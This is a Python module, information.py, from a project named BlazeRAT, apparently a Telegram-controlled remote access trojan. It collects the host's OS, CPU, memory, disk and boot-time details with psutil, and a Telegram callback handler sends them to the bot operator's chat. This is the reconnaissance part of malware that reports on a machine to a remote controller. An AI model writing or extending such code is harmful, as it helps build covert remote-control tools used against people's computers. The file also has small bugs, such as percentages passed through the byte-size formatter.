information.py 3.0 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117
  1. #!/usr/bin/python3
  2. # -*- coding: utf-8 -*-
  3. # Import modules
  4. from time import time
  5. from platform import uname
  6. from datetime import datetime
  7. from psutil import boot_time, \
  8. cpu_freq, cpu_count, cpu_percent, \
  9. virtual_memory, swap_memory, \
  10. disk_partitions, disk_usage
  11. """
  12. Author : LimerBoy
  13. github.com/LimerBoy/BlazeRAT
  14. Notes :
  15. The file is needed
  16. to get information about the system.
  17. """
  18. # Get size
  19. def get_size(bolter, suffix="B"):
  20. factor = 1024
  21. for unit in ["", "K", "M", "G", "T", "P"]:
  22. if bolter < factor:
  23. return f"{bolter:.2f}{unit}{suffix}"
  24. bolter /= factor
  25. """ Get system info """
  26. def SystemInfo() -> str:
  27. info = uname()
  28. return (f"""
  29. System {repr(info.system)}
  30. Node Name {repr(info.node)}
  31. Release {repr(info.release)}
  32. Version {repr(info.version)}
  33. Machine {repr(info.machine)}
  34. Processor {repr(info.processor)}
  35. """)
  36. """ Get processor info """
  37. def GetCpuInfo() -> str:
  38. cpufreq = cpu_freq()
  39. return (f"""
  40. Physical Cores {cpu_count(logical=False)}
  41. Total Cores {cpu_count(logical=True)}
  42. Max Frequency {cpufreq.max:.2f}Mhz
  43. Min Frequency {cpufreq.min:.2f}Mhz
  44. Current Frequency {cpufreq.current:.2f}Mhz
  45. CPU Usage {cpu_percent()}%"
  46. """)
  47. """ Get RAM info """
  48. def GetRamInfo() -> str:
  49. swap = swap_memory()
  50. svmem = virtual_memory()
  51. return (f"""
  52. Total Mem {get_size(svmem.total)}
  53. Available Mem {get_size(svmem.available)}
  54. Used Mem {get_size(svmem.used)}
  55. Percentage {get_size(svmem.percent)}%
  56. Total Swap {get_size(swap.total)}
  57. Free Swap {get_size(swap.free)}
  58. Used Swap {get_size(swap.used)}
  59. Percentage Swap {get_size(swap.percent)}%
  60. """)
  61. """ Get disk info """
  62. def GetDiskInfo() -> str:
  63. data = ""
  64. for partition in disk_partitions():
  65. data += f"\n\tDevice {partition.device}\n\tMountpoint {partition.mountpoint}\n\tFile System {partition.fstype}"
  66. try:
  67. usage = disk_usage(partition.mountpoint)
  68. total = get_size(usage.total)
  69. used = get_size(usage.used)
  70. free = get_size(usage.free)
  71. percent = get_size(usage.percent)
  72. except PermissionError:
  73. data += "\n\n"
  74. continue
  75. else:
  76. data += f"\n\tTotal Size {total}\n\tUsed {used}\n\tFree {free}\n\tPercentage {percent}\n\t"
  77. return data
  78. """ Get system boot time in seconds """
  79. def GetBootTime() -> str:
  80. boot = boot_time()
  81. ago = int(time() - boot)
  82. bt = datetime.fromtimestamp(boot)
  83. return f"{bt.year}/{bt.month}/{bt.day} {bt.hour}:{bt.minute}:{bt.second} ({ago} seconds ago)"
  84. """ Handle telegram command """
  85. def Handle(callback: dict, bot) -> None:
  86. chatid = callback.from_user.id
  87. action = callback.data.split('_')[-1]
  88. bot.send_chat_action(chatid, "typing")
  89. if action == "RAM":
  90. result = GetRamInfo()
  91. elif action == "BOOT":
  92. result = GetBootTime()
  93. elif action == "DISK":
  94. result = GetDiskInfo()
  95. elif action == "SYS":
  96. result = SystemInfo()
  97. elif action == "CPU":
  98. result = GetCpuInfo()
  99. else:
  100. result = "No data"
  101. bot.send_message(chatid, result)